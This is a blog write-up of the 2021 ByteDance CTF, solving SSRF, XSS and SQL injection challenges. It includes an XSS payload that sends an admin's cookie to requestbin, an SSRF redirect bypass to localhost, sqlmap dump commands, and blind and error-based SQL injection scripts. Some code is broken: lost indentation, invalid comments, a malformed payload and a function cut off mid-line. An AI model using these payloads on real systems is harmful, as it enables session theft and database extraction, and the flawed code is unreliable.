2021 ByteDance CTF Writeup

A beginner’s first CTF experience. Many thanks to Hai for the patient guidance!

The problem categories included SQL injection, SSRF, XSS, privilege bypass, information disclosure, and Android. Most categories created by ByteDance contained multiple problems of progressively increasing difficulty. For example, in SQL injection, the first problem showed you the Golang source code, so you could directly see how Gorm concatenated strings. The later problems gradually revealed less information to participants.

Useful tools:

  1. Use burp as a proxy to capture packets. Configure requests in repeater, where you can freely modify request parameters for testing.
  2. sqlmap is a powerful tool for solving SQL injection problems.
  3. requestbin.com lets you create bins at will to receive test requests.
  4. cloudflare worker lets you quickly create test services.

SSRF

  1. The flag we wanted was at 127.0.0.1:8080/flag, but the server restricted direct access to 127.0.0.1. We guessed that it might reject input addresses containing 127 (including a host of 127.0.0.1), reject hosts that resolved to 127, or, more strictly, disable Follow and forbid 301/302 redirects to 127. Based on these guesses, we could make the following attempts:

    (1) Writing 127 directly in the host would certainly be rejected.

    (2) We found a domain name that resolved to 127, but the submission was still rejected. This showed that the server rejected both input addresses containing 127 and domain names that resolved to 127.

    (3) We tried whether a 301/302 redirect to 127 was possible. Here, we could use our own domain name to provide an external service. When it received a request, it would return a 302/301 response and set Location to 127.0.0.1:8080/flag. It was also best to change XFF to 127.0.0.1. The server validation then passed, and we could retrieve the flag normally. Our solution was to use cloudflare workers for this purpose. This worker can be understood as an ordinary cloud function that can be created, modified, and published at will.

    Taking this thought a little further, what if Follow were banned? One rather tricky solution was to continue using a cloudflare worker, but instead of blindly returning a 30x redirect to 127 every time, return the 30x redirect to 127 probabilistically. This gave us a chance of avoiding the server ban, after which we could switch back to always returning a 30x redirect.

  2. The server only allowed one particular domain name as input (which did not exist at all).

    We needed to think about how the person who wrote the service would process the input URL (if they used a library, there would be no vulnerability at all). Considering the standard URL definition—scheme + :// + username:password@domain:port/path?query—we could try putting the required domain name in the username. Sure enough, it worked!

XSS

The original problem set contained three problems of progressive difficulty.

The first involved submitting a message and then submitting its message ID to admin for review. There were no restrictions on the input, so we could write a JS script directly. When the administrator viewed the input, we could obtain their document.cookie through

1
<img src=x onerror=<requestbin.com>>

We simply needed to put document.cookie in the query.

Here is a brief introduction to requestbin: it lets you quickly create a bin that receives arbitrary requests.

The second problem also involved submitting a message, but JS keywords were prohibited in the message content. However, we noticed a new avatar next to the username in the upper-right corner of the page. Clicking it revealed that avatars could be uploaded. Using burp to capture the avatar upload request, we found that the only avatar restriction concerned the file extension: only some extensions were forbidden, and many arbitrary extensions (such as *.adafd) could be uploaded. As in the previous problem, we could therefore write the same content into the file and successfully obtain the flag.

I did not solve the third problem; I still need to think more deeply.

SQL Injection

I also left one of the four SQL injection problems unsolved. The first problem provided the source code directly to participants, the second told you that a particular username definitely existed, and the third told you which parameters in the query could be exploited.

First, an introduction to sqlmap. It can solve most SQL injection problems, as shown below.

1
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag

We could also proceed step by step and inspect the state of the database.

1
2
3
4
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --tables
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag

The first problem directly revealed the source code. The injection point was in order by, and time-based blind injection could be used to infer the database’s table structure and contents. If the if condition was satisfied, the query would sleep for 2 seconds, causing the request to time out and enter the exception handler. At that point, we could conclude that j was the ASCII code of a matching character. Pay attention to the placement of parentheses, especially in mid, where the select statement needs to be enclosed in parentheses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://10.92.20.150:8287/"
params = {
"content": "%",
"order": ""
}
flag = ""

for i in range(1, 100):
for j in range(32, 127):
# params['order'] = "if(ascii(mid((select group_concat(table_name) from information_schema.TABLES where table_schema=DATABASE()), {}, 1))={}, SLEEP(2), 0)".format(str(i),str(j)) // Retrieve all table names
# params['order'] = "if(ascii(mid((select group_concat(column_name) from information_schema.COLUMNS where table_name='flag'), {}, 1))={}, SLEEP(2), 0)".format(str(i),str(j)) // Retrieve the column names in the flag table
params['order'] = "if(ascii(mid((select flag from flag),{},1))={}, sleep(2), 0)".format(str(i), str(j)) // Retrieve the flag
try:
requests.get(url, params=params, timeout=2)
except:
flag += chr(j)
print(flag)
break

The second problem indicated that id was the injection point and that error messages were returned, so we could use the updatexml feature to obtain the information we wanted.

Testing revealed an unmatched closing parenthesis in the error message, so we guessed that the statement might look like this:

1
select * from news where id=(...)

The part after the opening parenthesis was injectable, so we could consider closing the parenthesis.

1
select * from news where id=(1) ... -- 

We could then use updatexml.

1
2
3
4
5
6
7
8
// Retrieve all table names
and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_name=database()), 0x7e), 1) --
// Retrieve all database names
and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'), 0x7e), 1) --
// Retrieve the first 20 characters of the flag (the error output has a length limit)
and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 1, 20)) from flag), 0x7e), 1) --
// Retrieve the last 20 characters of the flag
and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 21, 20)) from flag), 0x7e), 1) --

The third problem told you that an admin user existed. Capturing packets with burp showed that the interface looked like this:

1
2
3
4
5
6
7
8
9
POST /get
{
"uanme": "admin"
}

返回
{
"message": "find user"
}

We then tried the following requests to infer the possible SQL statement:

  1. admin' -- returned no user find, showing that we could not blindly comment out the rest of the statement; there might be other unclosed parentheses.
  2. admin' and '1 returned find user.
  3. admin') -- returned find user normally, confirming that there were indeed unclosed parentheses.

The rest could be handled in the same way as the second problem.

In the fourth problem, entering id=1 and id=2-1 produced the same result, showing that id was the injection point and that the query could retrieve the data for id=1. However, attempts to use union select produced an invalid-input-character message, and we eventually discovered that select was forbidden. At this point, we should recognize that the MySQL version must be 8.x; otherwise, cross-table queries would be essentially impossible once select was forbidden.

  1. Use ascii(mid(database(),{},1))={} to obtain the database name (in fact, it was fine not to obtain it, because knowing the database was not very useful).
  2. Inspect which tables the current database contains.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_table_name():
table = ""
for i in range(1, 50):
for j in range(32, 127):
params["id"] = "1) and ('def', DATABASE(), '{}{}', '', 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) > (table information_schema.tables limit 327,1".format(table, chr(j))
r = requests.get(url, params=params)
if "this is news123" in r.text:
table += chr(j - 1)
print(table, chr(j - 1))
break
print(table)

def get_column_name():
column
  1. Generally, the flag table has only one column. We could test this with 1) and ('')<(table fflll444g limit 0,1. It returned correctly, so we confirmed that flag had only one column.
  2. Use Boolean-based blind injection to obtain the flag, or use union values row(1, (table fflll444g)).
Author: suikammd
Link: https://suikammd.github.io/2021/08/15/2021-bytedance-ctf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.